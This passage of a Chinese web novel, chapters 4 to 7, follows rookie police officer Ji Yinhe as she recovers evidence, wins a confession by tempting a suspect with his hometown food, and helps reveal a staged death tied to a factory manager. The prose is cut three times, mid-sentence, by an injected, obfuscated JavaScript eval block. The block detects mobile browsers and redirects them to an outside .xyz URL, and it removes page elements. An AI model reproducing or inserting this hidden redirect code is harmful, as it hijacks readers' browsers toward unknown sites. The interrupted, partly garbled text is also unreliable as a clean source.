季银河笑着抬手,拨了下额前的碎发,“嗯,其实我在警校参加过投掷比赛,拿了冠军来着。” “真是不可貌相!你看起来人瘦脸小,我还以为和林黛玉一样迎风倒呢!” 在小伍的彩虹屁中,唐辞忍不住回头,朝小警花投去一眼。 热风吹来,蓬起轻薄的衬衣布料,她上臂秀气利落的肌肉线条若隐若现。 * 季银河磨磨蹭蹭,留在最后。 趁唐辞和小伍把人押上警车,她赶紧蹲下身,回草丛里扒拉了一阵。 还以为五折叠同志不散架也得瘪一块,没想到它静静躺在一块草皮上,全身上下完好如初,坚强得连块磕碰痕迹都没有。 “好家伙!”季银河赞叹一声。 她翻来覆去检查,还把它展开来,拍一拍按一按。 这一看不打紧,也不知道碰到了哪个位置,后盖上的小圆玻璃忽然射出一道炫目的光,比重案队专用的手电筒还亮! “……” 她不知道怎么把灯光关上,只好赶紧把五折叠叠起来塞进斜挎包里。 靠在车边的唐辞这会儿恰好将视线转了过来。 “那是什么?”他盯着她的包,“刚才你用来砸人的东西吗?有点怪,我好像没有见过。” 季银河心虚地摸了摸鼻子。 如果说是前苏联的通讯仪器,指不定会给老季和连女士带来什么麻烦。 “你说那个呀……”相顾无言半分钟,她古灵精怪的眼睛一转,“家里遗留下来的老物件,破四旧那会长辈收起来了,我妈才翻出来,打算拿去给专家瞧瞧!市博物馆跟咱局离得近,我出门就给揣兜里了。” “是吗?”唐辞微微皱眉,“没摔坏?” “没有!”季银河语气肯定,“老东西,质量好,擦一擦还能继续用!” 唐辞:“……” 虽然没来得及问李国萍秘书,但还是回局审人更重要。 唐辞开车,小伍在后排看嫌疑人,季银河把山地车往后备箱一塞,跟着爬上副驾的位置。 那人一路上哼哼唧唧,嘴里不干不净。 “你们警察都不是什么好¥%……&*” 小伍嫌他满嘴喷粪污染耳朵,便厉声:“闭嘴!昨晚刚发生命案,你今天就在这鬼鬼祟祟的,不抓你抓谁?” “我、我是来找东西的!”那人理不直气也壮。 唐辞问:“找什么?” “你管得着——” “是这个吗?” 前排的季银河笑眯眯地转过头,从包里提出个牛皮纸袋。 她不慌不忙地戴上手套,缓缓打开袋口,拎出一个不锈钢罐,和一把略带斑驳的电工刀。 车内齐齐响起三声低呼。 不光是那人,这会连唐辞和小伍也惊呆了。 唐辞噎住:“……这都是从哪儿来的?” “在你俩忙着追他时,我在铁丝墙洞的另一边捡到的。” 小伍拍了把大腿,“原来在外面!难怪技术大队什么都没搜到!” 很显然,这把电工刀就是张洪波在墙上画血字的工具。 那钢罐呢? 季银河转了下手腕,将印有“江潭冷饮厂”字样的一面向另外三人展示了一遍。 “我妈之前想做冷饮生意,专门找人打听过,装干冰的罐子要特质的,可不好弄。”她朝着那人扬扬下巴,随口问,“大哥,这你们厂的吧?” “是……” 那人刚吐出个字,便紧张地闭上了嘴。 但已经晚了,他已经暴露出自己的单位! 小伍哧笑,“哦,原来是冷饮厂的同志啊!” 那人再不敢说话了,不哼不哈地垂下脑袋。 张洪波说过,就算没能把东西找回来也没事!只要他一个字都不往外说,警察总不能一直关着他。 大吉普一路疾行,唐辞这会已经结合证词,想明白了来龙去脉。 “你和张洪波商量好,偷来冷饮厂干冰,等他开始运功时,就断了厂区的电,用干冰制造出白色烟雾……这样一来,大家不仅以为张洪波会呼风唤雨,你们还能趁机把尸体给换了!” 那人牙关紧咬,面色难看。 唐辞和小伍从后视镜交换眼神。 这种事先有准备的老油条,很难从他嘴里撬出什么话来。 回到市局,车志文正坐在阴凉的门卫室里吃豆沙冰棍,看见唐辞押着人从车上下来,忙讪笑着迎上去: “我们空跑一趟,什么都没摸排出来,你们已经抓着人啦?” 唐辞没回答,只把装有冷饮厂干冰罐和电工刀的牛皮纸袋往他手上一丢。 “小季找到的证物,拿去给老田验指纹,小伍,叫程漠来预审。”说完转身进了审讯室。 车志文在原地愣了几秒,瞟了眼神色淡定的季银河,讷讷走了。 小伍要回办公室整理今天的笔录,季银河把车推进车棚,手头无事,便袖着手在问询室门口转悠了两圈,想知道她亲手“砸”住的第一个人都交代了什么。 然而程漠把门关得紧紧的,没有给她听墙角的机会。 回到楼上,小伍停下笔,朝季银河比了个大拇指。 “你今天可太厉害了!又帮忙抓人又找到了关键物证……唐队为人公正,回头结案报告上一定会大力表扬你,年底说不定能拿一大笔奖金!” “借你吉言,拿了钱请你吃饭!”季银河阔气地说。 老季把家里的小金库堆得足足的,她从小到大不知缺钱的滋味,也不在乎奖金。 眼下,她只关心眼前的案子,和老季连女士身上的谜团。 小季警察沉思几秒,站起身,卷起衬衣袖口,在小伍好奇的目光中开始往黑板上写字。 先是案件最关键的三个名字:张洪波、张春波和李国萍。 这三个人都指向案发当晚那一场堪称奇观的“逍遥游”表演。 为了完成这场表演,张洪波让人从冷饮厂偷来干冰,形成障眼法,把弟弟的尸体偷运过来。 可他为什么要假死呢? 季银河握着粉笔摸了摸下巴。 他的确成功地让压缩机厂人心惶惶。 ——但这只是为了诓骗他的信徒吗? 根据目击者们交代,张洪波除了装神弄鬼外,也没有试图敛财啊! 还有那通时间对不上的报警电话,口口声声说是命案,迫使重案队出动,按重大刑事案件处理。 这一切动作,越看越像引导他们去查那三个鲜血淋漓的大字…… 她视线上移,在“李国萍”这个名字上画了几道重重的圈,在旁边飞快写下几个小字—— 仇?权?财?情?色? 在警校看了那么多卷宗,从古至今,命案背后的动机不外乎这几条。 季银河抱起手臂,思考哪一条能往李国萍和张氏兄弟的关系上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669968|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠,身后响起一声带着讥讽的笑。 “女同志就是爱幻想!”车志文不屑,“改当记者算了!” 季银河转过身,双眼直勾勾盯着他。 小伍看气氛不妙,赶紧站起身。 没想象到季银河却忽然弯起眉眼,饶有兴致地问道: “车副队长,您怎么看?” 车志文忽然被人叫了尊称,惊讶几秒,才扭捏回答,“那个,既然小季同志虚心请教,那我就说说我的看法。” 他故作矜持地清了清嗓子。 “张洪波想在信徒面前树立威望,吹牛自己能登仙,就把弟弟的尸首拖过来,假装自己失败了呗!” “您都说他失败了,还能树立什么威望?” “说不定他想表示,自己用死亡清洗了厂区的罪孽,这样大家就会记得他的好……” 季银河若有所思点了下头,“这么一来,信徒们会认为罪孽是……” 车志文眼睛在空中飘一圈,最后还是看向那个名字。 “所以您看,不管怎么想,这问题还是出在李国萍身上啊。” 季银河一脸无辜地耸耸肩,反手往那三个字上轻轻敲了一下。 车志文噎住。 半晌后,他抬起下巴,“反正李国萍有钱有势力,八成已经跑了!我看你们连人都找不到,最后怎么结案!” “……不一定。” 唐辞的身影出现在办公室门口。 季银河眼神一亮,“招了吗?” 唐辞摇摇头,“只交代姓刘,冷饮厂会计,其他一概说不知道。” 他深吸口气,“最关键的是,他昨晚根本就没来参加气功大会,而是在家打麻将,好几个人能给他作证。” 办公室内安静了两秒,只有车志文冷冷的哂笑。 “不早了,都回去休息吧。”唐辞视线从黑板上扫过,神情平静,“我和程漠今晚突击审讯一下,看看能不能撬开嘴。” 话音刚落,车志文连包都不背,抓起钥匙立刻离开。 季银河在办公室里逗留了一会,对着黑板翻看口供,实在没什么头绪,只好拖着脚步走出办公楼。 淡淡星子挂在天边,虽然没有昨天离开警局的时间晚,但兴奋了一天的身体和大脑陡然放松下来,立刻感觉到浓浓的疲惫。 没想到走到车棚边一瞧—— 她的捷安特山地车竟然又不见了! “……”季银河站在原地,无语凝噎。 这里可是堂堂市公安局啊!难道还有小偷胆大妄为,都偷到警察头上吗? * 一个小时后,转三班公交车的小季同志拖着被汗水蒸透了的身体推开家门。 “今天回来得挺早呀,吃饭了吗?” 连翘从厨房探出头,看着又脏又累的女儿。 “没吃。”季银河把包从耷拉的肩膀上拽下来,往沙发上一倒,言简意赅,“饿……” “行,我给你热碗牛肉面。”连女士转身折回灶台后。 季建国从主卧踱出来。 “哎呀,听我们钱主任说,西郊昨晚出大事了?”他在女儿身边坐下,大马金刀地一展报纸。 季银河嗯了声,心说你这不是明知故问嘛…… 转念一想,说不定爸妈这边还能提供点新线索呢! 她精神一振,又不敢表露出来,只好将脑袋埋进抱枕里,故作忧愁地叹了口气。 “爸爸,找不到线索,我可能要回去写材料了。” 季建国拿报纸遮住脸,转头和老婆换了个眼色。 “哦,他们压缩机厂总经理,是不是那个李国萍啊?” 他清了清嗓子,一本正经道: “我上回不是托老吴从上海给你买捷安特嘛,老吴说,他也帮李国萍带了东西,光皮包首饰就装了几大箱子!我寻思着,就算是个领导,也不能这么花钱吧!” 5. 第 5 章 与此同时,城市的另一端。 汽船突突碾过黢黑的江水,烟囱里吐出灰白的烟,被风扯碎的夜从破败的窗檐爬上来,照进小小的舱房。 穿真丝衬衣烫波浪卷发的女人睡在凌乱床铺上,手边汗显BP机亮起,跳出几个字—— “警察约王秘明日谈话,速逃。” 女人猛地惊醒,冲到甲板上,推搡着打瞌睡的人。 “师傅!师傅!”她从包里拿出厚厚一叠钱,“我要离开江潭,今晚能走不?” 师傅为难地看她一眼。 “李经理,我做生意的,怎么会跟钱过不去?可现在市里出了命案,警察查得紧,再说黑灯瞎火的往哪儿去啊!明儿天亮了我再出去看看情况,下午走,行不?” 女人一咬牙,从脖颈上摘下一条大金链子。 “中午走,求您了!” - 临近六点,天蒙蒙亮,市公安局里还沉在寂静的黎明中。 忽然呲啦一声,三号审讯室的铁门从内推开。 唐辞从暗地里走出来,对着走廊外淡薄的晨光伸了个懒腰。 一整夜过去,他眼圈乌黑,下巴上长了层青蒿蒿的胡子。 程漠跟在他身后,同样神情憔悴。 “唐队,接下来怎么办?”他声音沙哑,揉着眼眶,“好话歹话都说过了,这老刘怎么软硬不吃啊!要不咱们学学香江电影,上点手段,刑讯逼供吧?” 唐辞抻了下脖子,“想被开除就直说。” 程漠默了默,“好不容易逮着一个嫌疑人,就这么放回去,太可惜了。” 唐辞盯着走廊外淡蓝的天空,轻轻叹了口气。 审讯室里还关着他们昨天抓住的嫌疑人老刘,目前他除了告知自己在冷饮厂当会计外,余下一概说不知道。 他不承认自己给张洪波送过干冰,对于昨天出现在压缩机厂和季银河发现的钢罐,只说是“路过”和“巧合”。 唐辞拿工作威胁他,他也不怕。“反正我过几天就退休,儿子在南方做生意,不差钱!你们尽管让冷饮厂开除我!” 这么下去不是个事,如果再问不出有用的信息,连一队今天的调查方向和排查工作都没法布置。 唐辞愁容满面,在公安大院里坐了会,抽支烟,然后进卫生间拧开龙头,鞠水扑在脸上。 外面却传出了说话声。 季银河背着包,俏皮短发被晨风吹得一扬一扬的,正在和程漠说话。 看见唐辞走出来,神清气爽地打了个招呼。 “早啊唐队!” “早。”唐辞看了眼手表,“才七点,你怎么来这么早?” 季银河没法坦白讲,昨晚她听了老季给的线索,激动地凌晨三点就醒了,恨不得天一亮就去查压缩机厂的公账。 但是公安办事有既定流程,她不能贸然行动,必须先想办法提示唐辞,找到相关线索,有了许可,才能正大光明地查账。 再加上她没了山地车,为了赶第一班公交,连饭都没来得及吃,这么一来二去,比上班时间早到了整整一个小时。 结果人一进市局,就听程漠说他们一整晚都没问出个子丑寅卯来! 小季警察敷衍两句早来的原因,脚尖在地上点了点,小心翼翼地问:“要不,我来试试?” 唐辞和程漠对视了一眼。 按照资历来说,季银河刚毕业一个多月,还没有经受过专门的审讯培训。 但是她加入一队才一天,就已经为案件侦破找出好几个突破口,说不定真有什么新花招。 “行,你试试。”唐辞松口,“我和程漠陪你一起进去。” 季银河把审讯室铁门一推,拉开审讯椅,施施然坐下。 “早上好!”她元气十足地笑了声,“昨晚睡得好吗?” 顶着乌青眼圈的老刘:“……” “我前天晚上在这待过,其实还不错,只要你把腰往下出溜一点,睡起来就没那么酸……” 老刘茫然两秒,不过肚子里立刻响起一串巨大的肠鸣。 “还没吃早饭呐?”季银河同情地看着他,“这会儿有点早,食堂还得过二十分钟开门,包子你想吃素馅还是肉馅还是豆沙?豆浆是咸口的,放榨菜油条,你吃得惯吗?” 老刘脸上闪过一丝嫌弃,颇有志气地摆手,“不用!” 程漠用气声问唐辞,“小季怎么一直跟他拉家常?这行不行啊?” 唐辞给他比了个噤声的手势。 季银河观察着老刘的表情,心中有了成算。 她随口问了两句他爱吃什么样的饭菜,忽然把话锋一转,“您这口味可不像江潭本地的,是哪里人来着?” 老刘大概也觉得不是什么值得隐瞒的事,就回答:“祖籍柳江。” “难怪!”季银河点点头,“那行,我们食堂要开门了,我先去吃一口。” 说完她便起身离开审讯室。 唐辞和程漠一头雾水地跟了出去。 “有办法了,不过我得先离开一会。”季银河走出办公楼,“我自行车丢了,这个点又是公交车早高峰,谁能把车借我骑一圈吗?” 唐辞偏头看了她两秒,从口袋里掏出一把钥匙。 “摩托车,会骑吗?” “会!”季银河双眼闪闪发亮。 唐辞指了指角落一台鲜红色的机车,“是队里的,之前发动机故障,我请人修好了,你要是能骑,就不必急着还回来——” 天虹90,跑得快,声音小,虽然减震差了点,但是做工相当皮实,那可是比捷安特还亮眼的存在! 季银河抓起钥匙蹬上车,嗡的一声,像一条红色的闪电,帅气蹿出了市局。 唐辞看着她消失在门外的身影,唇角忍不住微微扬起。 程漠忽然抬手,拍了下他肩膀。 “老唐,你对小季这丫头可真不错啊!” * 红色摩托车在连姐小吃店外稳稳停下。 这间门面是连翘前年盘下来的,虽说是江潭风味,但是主打一个随心所欲,经常研发各式各样的美食,每月都有限定新品。 食物好吃,再加上老板的“饥饿营销”,街坊们口口相传,连姐小吃店的名气扬遍全市乃至全省。 据说连汉东省领导来江潭出差,都要专程过来尝一尝。 连翘将这家小吃店看做自己的事业,这些年不乏有人过来问价开分店,她一律翻着白眼拒绝,坚决不卖菜谱。 小吃店也做早餐,不过都是帮工学徒看店,因为连女士有懒床的习惯,不用研发新口味的日子,通常七点半后,她才会踩着高跟鞋姗姗来迟。 季银河进门时,正好看见母亲端了笼汤包,配着老鸭汤,慢条斯理地坐在大堂吃早饭。 “妈!” 她跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669969|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去大呼一声,把连女士吓了一跳。 “你怎么跑过来了?”连翘擦擦嘴,“给你警局的同事带早饭?” “不是!”季银河在母亲身边坐下,一脸诚恳,“尊敬的连老板,我想请您帮个忙!” 连翘笑了声,“行,小季警官说吧!” “妈妈,我小时候,你不是在家煮过螺蛳粉吗……” 季银河俯到母亲耳边,窃窃私语了一番。 * “小季怎么还不回来?” 审讯室外,唐辞焦灼地看了眼手表。 “待会饶局过来,得问你今天的案件进展啰。”车志文抱着茶缸,一脸幸灾乐祸,“小季这丫头啊,聪明归聪明,就是太冒失!咱们警察破案可不是靠一张嘴皮子——” “唐队!” 红色闪电在院子里刹住,季银河从车上跳下,从后座拆下几个垒起来的铝饭盒。 “这在干什么?”车志文皱起鼻子,“一大早跑出去打饭了?嚯!这什么味儿?” 季银河没理他,将挎在手上的食品袋递给小伍,“牛肉锅贴,你们拿去吃,我先干活了!” 她揣起饭盒,一脸镇定地走进审问室。 老刘这会快饿扁了,看着小姑娘面前坐下,把饭盒全部打开,露出里面的酸笋鱼、鸭脚煲、炒螺蛳和煮粉来。 整间屋子瞬间飘满了说不清的气味,香里混着臭,臭里夹着香,让人一时想避开,又忍不住鼻头翕动,皱着眉再嗅几口。 那几道菜色也说不上十分好看,每个碗上都飘着一层深红的油汤,仿佛连姐小吃店的辣椒不要钱似的。 “谁他*又在炸厕所了?”车志文隔着窗怒吼。 没人回答他,不过唐辞、小伍和程漠站在审讯室门口,相互张望一番,还是纷纷掐紧了鼻尖。 “不用管他们那些没品的家伙。”季银河找了副筷子,擦掉上面的毛刺,“老刘我跟你说,这个河池煮粉可好吃了,我觉得螺蛳粉虽然香辣,但是容易腻,得放很多空心菜才清爽,但是煮粉光三鲜汤底就熬了十几个小时,那个叫鲜美……” 她埋头就是一顿大吃,好像在品尝世界上最美味的食物。 站在门口的三人纷纷露出不可置信的神色。 然而更叫他们吃惊的是—— 审讯桌后的老刘,竟然直勾勾盯着季银河面前的菜,眼泪刷刷掉了下来。 “离开柳江几十年了,没想到还能再闻到家乡味!”老刘哽咽,“小同志,能不能给我……” “不能。”季银河辣得直吸鼻子。 “就给我尝一口……” “哎呀,你知道规矩的。”季银河头也不抬,“你只能吃食堂。” 老刘肚子一阵怪叫,看着她滋滋有味地啃鸭脚,眼底含的两包泪越来越大。 “其实你把该交代的都交代了,从看守所出去,还是有机会再嗦粉的。”季银河一脸同情,“要不然,我们只能当你杀了人,请你吃枪子啰。” 她后半句话完全是恐吓,唐辞昨晚也试过这招,压根没用。 但此刻,老刘却咧开嘴,口水不争气地流了出来。 “那我撂一点,能不能从宽……”他看着不为所动的季银河,声音里隐隐有了哭腔,“我、我都交代,行了吧!你今天就得给我吃一口!” 季银河把筷子一放,拍拍手。 “你先说来听听。” 6. 第 6 章 唐辞、程漠和小伍全程半张着嘴,看完季银河这套丝滑老辣的操作。 听见老刘总算松了口,他们也顾不上臭了,齐齐挤进审讯室,在桌前一字排开地坐下。 “你先说说,怎么认识张洪波的?” 老刘抹了下嘴角,沉声道:“张洪波张春波都是孤儿,其实我也是,我爸走得早,那会闹饥荒,我妈一路乞讨,把我从柳江带到江潭,没多久也病倒了……我吃百家饭长大,没少受欺负,他俩虽然比我小,但更有混社会的经验,我就跟着他们,挣点钱读了技校,后来才分到冷饮厂,算是小时候一起患过难的交情。” 众人都听得很认真,小伍圆珠笔在本子上飞快记录,唐辞瞥了眼心虚躲在外面的车志文。 昨天他就让车志文带着程漠走访死者的亲朋好友,建立人际关系网。 结果他只摸排了张家兄弟在压缩机厂的领导同事,把私交全给漏了! 至于季银河,则托着下巴啧啧摇头。 ——这个老刘也没那么讲义气嘛,为了几道家乡菜,就把认识多年的好兄弟给卖了。 老刘盯着面前的饭盒咽了口口水,继续道: “工作后来往没那么密切,但逢年过节也会聚一聚,洪波不是干厂医嘛,家里小毛小病也会请他看一看,还帮我老婆治好了身体……春波出事后,我看洪波状态不好,就问他有没有什么能帮得上的,他当时没说,过了一个礼拜,才问我能不能搞点干冰。” 唐辞打断他,“那时你知道他已经装神弄鬼变成‘大师’了吗?” “……知道的,我还帮他在冷饮厂宣传过。”老刘把头埋下去,一脸委屈,“洪波这人确实有点本事,我看他又是点铁成金又是油锅取物的,兴许真受了什么高人指点,我哪知道都是唬人的戏法!” 唐辞敲了敲桌子,提醒道:“干冰。” “哦,我们冷饮厂每年八月搞厂庆,都要用干冰保存鲜奶油,我想着仓库里少了一两罐应该也没人发现,就答应了下来。” 程漠问:“你没问他要这个做什么吗?” “没有,我哪儿敢打听啊,万一他回头引道雷来劈我——” 唐辞轻咳一声,老刘立刻老实地转回正题上,“前天下午我从厂里取了干冰,就给他打电话,他让我把东西放在那个铁丝洞口。后面他干了啥我也不知道,昨天中午才听说压缩机厂出事,这不就立刻赶过来看看情况,哪想到就死人了呢!警官,我知道的都说了,能不能让我……” 他伸出手,朝那碗煮粉指了指。 唐辞的目光在他脸上游移片刻,抬手将饭盒推过去。 “先这样吧,我们去开会讨论一下……小季,怎么了?” 老刘埋头吃得狼吞虎咽,刑警们都站起身往门外走,偏偏靠在墙边的季银河一动不动,皱起了秀气挺拔的鼻头。 她直觉不大对劲:老刘这一番话,听上去和张洪波的关系并不怎么样。 既然只是寻常关系,又怎么会扛到现在呢? 老刘撂得太不寻常,背后一定还有隐瞒! 此刻,大家视线都聚焦在季银河身上,只见她抱起手臂,用修长的手指徐徐敲打肘窝,问道:“昨天上午你在哪儿?和张洪波见过面吗?” 全然放松警惕的老刘茫然抬头,过了两秒才回答:“没见过,我在上班呢,我们冷饮厂是三班倒。” “是吗?”季银河歪了歪头,“我觉得很奇怪,你怎么一点都不惊讶?” “……什么?” 老刘放下铝饭盒,缓缓坐直身体。 “如果没记错的话,我们从始至终既没对外公开尸体不是张洪波本人,也没跟你说过张洪波可能还活着。”季银河语气很平静,“作为一个不知道内情的人,不是应该对我的问题感到惊讶吗?” 老刘脸色瞬间煞白,但还在企图解释,“也许……也许那两位警官昨晚审我时提过——” “不可能。”唐辞打断了他,“我们并没有透露任何细节,有录音为证。” 他从审讯桌下摸出一台挺袖珍的声力士录音笔。 老刘的肩膀一下子颤抖起来,“我记错了!我见过张洪波,他没死,是他让我什么都不要说!我们又没有杀人,这应该……” “你们确实没有杀人。”唐辞目色凝重,“但张洪波至少涉嫌寻衅滋事,而你故意隐瞒事实,对案件侦查造成了严重影响,法院肯定会判刑的。” “……!” 老刘彻底软了,整个人瘫在桌子上,“可洪波说我不会有事的……” 审讯室里响起淡淡的唏嘘,大家还在脑中梳理老刘被诈出的实话,一片安静中,只有季银河的声音响起: “你最后一次和张洪波联系,是在哪里?” 老刘深吸几口气,才回答:“昨天早晨,他给我宿舍的信箱丢了张纸条,说警察来得太快了,走得太匆忙,只好把电工刀和干冰罐丢在路边,又怕被警察发现,就让我去把东西拿回来……所以我也不知道他现在躲在哪里。” 季银河在脑中想了下冷饮厂宿舍的位置——也在市西郊,并不好藉此判断张洪波的藏身之处。 她唔了声,睁着大眼睛徐徐点头,“张洪波为什么诈死?” “因为……他觉得春波的死有蹊跷。”老刘支吾道,“具体是个什么情况,他也没跟我说明白。” “他怀疑张春波不是意外工亡?”季银河若有所思,尝试着问道,“是……被李国萍杀死的?” 老刘垂着脑袋,没说话,但沉默已经表明了一切。 小伍看着季银河,忍不住鼓了鼓掌,回过神来的唐辞转向他,吩咐道:“让叶晴再进行一次尸检!” 小伍嗷的一声,警犬一样跑了出去。 审讯室里,老刘抬起头,眼泪哗哗往下流。 “警官,洪波是有苦衷的!他们兄弟俩都是好人,都是命苦的人啊!” * 十分钟后,一队所有人回到办公室。 季银河把那几盒柳江菜都留给在审讯室了。其实她根本没吃几口,都是演给老刘看的,这会肚子饿得咕咕叫,拈起食品袋里剩下的锅贴,塞进嘴里。 虽然已经凉了,但面皮依然弹牙,边缘有焦焦的卷边,放了胡椒的肉馅也一点都不腥,反而油香鲜甜,嫩而多汁,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669970|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃到让她差点咬了自己的舌头。 她一边在心中感叹连女士的优秀厨艺,一边挽着袖子站到黑板前,把老刘刚才交代的线索全都集中写了下来。 这番审问更加验证了她昨天的推测,张洪波诈死的动机,就在李国萍身上。 再加上老季昨晚的提点,她心中已经有了个朦朦胧胧的猜想—— 李国萍一定有经济问题,以她的社会身份来看,要么贪污,要么受贿。 而张春波无意间发现了她的犯罪事实,导致他被“意外工亡”。 张洪波作为厂医,必然发觉弟弟死因有蹊跷,但对方有钱有权,他没有证据,便搞了这一出夺人眼球的复仇大戏,就是为了让市局介入。 只是仅凭一个血字和老刘不作声的默认,并不好直接查李国萍的私人账户。 要不唐辞一定会追问她从哪来的线索,老季和连女士很有暴露的风险。 还有张洪波,他人到底藏到哪儿了呢? 季银河放下粉笔,苦恼地搓起脸颊。 唐辞站在不远处,看她腮边蒙着一层淡淡的白色粉笔灰,不由轻轻笑出了声。 只不过他的笑容很快被冲进来的人打断。 “唐队!唐队!”小伍捂着肚子,跑得上气不接下气,“老田刚化验完,从干冰保温罐的把手上提取到了两枚指纹,其中一个属于老刘,另一个和我们在张洪波家收集的指纹对比过,确定是同一人!” 有了这个物证,基本可以确定,老刘后来交代的都是实话了。 大家都松了口气,唐辞抬手去掐眉心:“几个指纹对比了十几个小时,老田也够磨叽的。” 就听小伍又报告:“叶法医那边也重新检查了尸体的电流斑,她说中央有炭化的迹象,像是……高压电击造成的。” “高压电?这不可能啊!” 车志文到底是个老江湖,有表现的机会,立刻当仍不让地站出来,“唐队,我可是把压缩机厂总装车间跑了好几遍啊,记得清清楚楚,他们电机的标称电压都是380伏,远没到高压线!” 一瞬间,大家心头都跳出一个疑问—— 是谁给电机通了高压线?? 唐辞肃着脸,立刻下了命令: “老车、程漠,张春波出意外那天,西郊派出所应该有人到场,你们把相关民警找出来问一遍!小伍,我们去压缩机厂,找保卫科和李国萍的秘书!” “是!” “这次事关十二天前张春波的命案,目前基本可以确定是谋杀,大家一定要小心摸排,有情况先通知队里,切勿打草惊蛇!” 一伙人轰隆轰隆地跑出办公室,震得地板嗡嗡作响。 而没被分派任务的季银河还靠在桌边,盯着黑板上的几张照片默默出神。 “……小季。” 已经出门的唐辞忽然又折了回来,轻轻叫了她一声。 季银河扬起脸,“怎么了队长?” 唐辞朝屋外看了眼,确定人都下去了,才抬步向她走过来。 “你那个线人呢?”他眯起眼睛,盯着她清澈的双眼,“这两天跟你联系过吗?” 7. 第 7 章 被唐辞用审视的目光看着,季银河有点慌。 还以为线人的事已经翻篇了,也不知道唐辞为什么会在这档口突然问起来。 难道他……察觉到了什么? 季银河抬手摸了摸鼻子。 这两天一线办案紧张刺激,可比行政工作有趣多了。她已经想好了,不管爸妈是什么来头,她都打算瞒下去,接受他们好心的馈赠,打恶除霸,守护江潭的一方平安。 ——因此绝不能让唐辞察觉端倪! 小季同志缓缓露出一个微笑,“没有啊,这几天不都在办案子嘛,怎么啦?需要我去问问吗?” 唐辞收回视线,“有机会联系一下,也可以让线人直接找我。” “不行。”季银河直截了当地说,“我认识线人很多年了,他……只会相信我。” “……那好吧。” 唐辞不无遗憾地点点头,转身走出办公室。 “——唐队。”季银河小步追上,神色认真。 “我觉得……李国萍身为女性,走到这个位置,一定很不容易。”她斟酌着措辞,徐声道,“我看了勘察报告,她是农村出身的,又没结婚,无儿无女,那最大的爱好可能就是钱——” “独身不代表没有情人,说不定张春波就是发现她偷情才被灭口的。”唐辞挑起眉毛,“你昨天在黑板上写了那么多可能的动机,现在怎能确定只是为了钱呢?” 季银河眨了下眼睛。 “——直觉吧,像这样厉害的女人,怎么会囿于那点情情爱爱。” 唐辞看了她两秒,没说话,转身大步离开。 * 有了明确的目标,这次外勤收获颇丰。 烈日当头,唐辞叼着根烟靠在大吉普车上,眯眼听程漠汇报: “西郊派出所民警说,张春波是因为不按规范操作才触碰到了电机,现场有好几个工人作证,张洪波也没当场提出异议,所以就按意外结案了。” “结果人送到火葬场,张洪波又找上门,怀疑是谋杀,声称张春波那段时间一直心事重重,说过让李国萍放了他之类的梦话。” “但是您也知道,梦话不能当作证据,而且这年头工厂事故也不稀罕,所以民警没理他,劝了几句节哀、好好生活之类的话,就让他离开了。” 唐辞嗯了声,“然后呢?” “然后我就查了张春波操作的那台电机。”程漠难得地激动起来,“唐队您猜怎么着……电机外壳有二次焊接痕迹,说明有人把电路改装了!” “……”唐辞皱紧眉头。 “而且我们接到报警的前天夜里,那台电机就放在案发现场!老田八成以为和案子无关,才没把这个记录在案!这老东西!” “老田的事回去再说。” 唐辞摁熄烟头,走进总装车间。 “……都两天了,也不知道什么时候才能查出来!” “唉,张大师挺有本事的,我还想跟着练呢!” “没听警察说都是假的吗!” “呵,警察也要吃饭,说不定收了钱——” 周遭议论纷纷,唐辞假装没听见,指挥程漠拍下几张照片。 这时候,小伍顶着一头热汗跑过来。 “唐队,有个新来的保安说……”他看看周围一脸好奇的工人,小声道,“张春波出事前夜,李国萍侄子背着包进了车间!” 唐辞眉心一跳。 出现一个嫌疑人!而且还是李国萍的亲戚! 他感到自己离案件的真相越来越近了。 “小伍,带保安去做笔录,让老车从分局和派出所借人,盯紧李国萍侄子。”唐辞压低声音,有条不紊地叮嘱,“不论出于什么动机,我们有必要对李国萍采取措施了,程漠,通知交警和有关部门,一切出入江潭的车辆都要查一遍,还有水路,也不能放过!” “是!” “明白!” 小伍和程漠立刻跑了出去,唐辞走出车间,抹了下额头的汗,忽然有点后悔。 时间过去了一天一夜,万一李国萍已收到风声逃出江潭…… 回到吉普车上,他踩下油门,正在打算往家属区那边走访,突然视线余光似乎捕捉到了什么。 抬眼一看,职工宿舍楼下,季银河抱了个破破烂烂的钢筋锅,正有说有笑地和人聊天呢! 唐辞:“……” 她一个人民警察,不好好待在办公室吹风扇吃西瓜,跑这儿来做什么?想加入气功班一起跳大神吗? 唐辞停下车,在原地看了几分钟,忽然就打消了下去把她抓回来的念头。 季银河看起来相当自来熟,已经和工人们打成一片,其中不乏张洪波的“信徒”。 也许,她真能比他们先问出有用的消息来! * 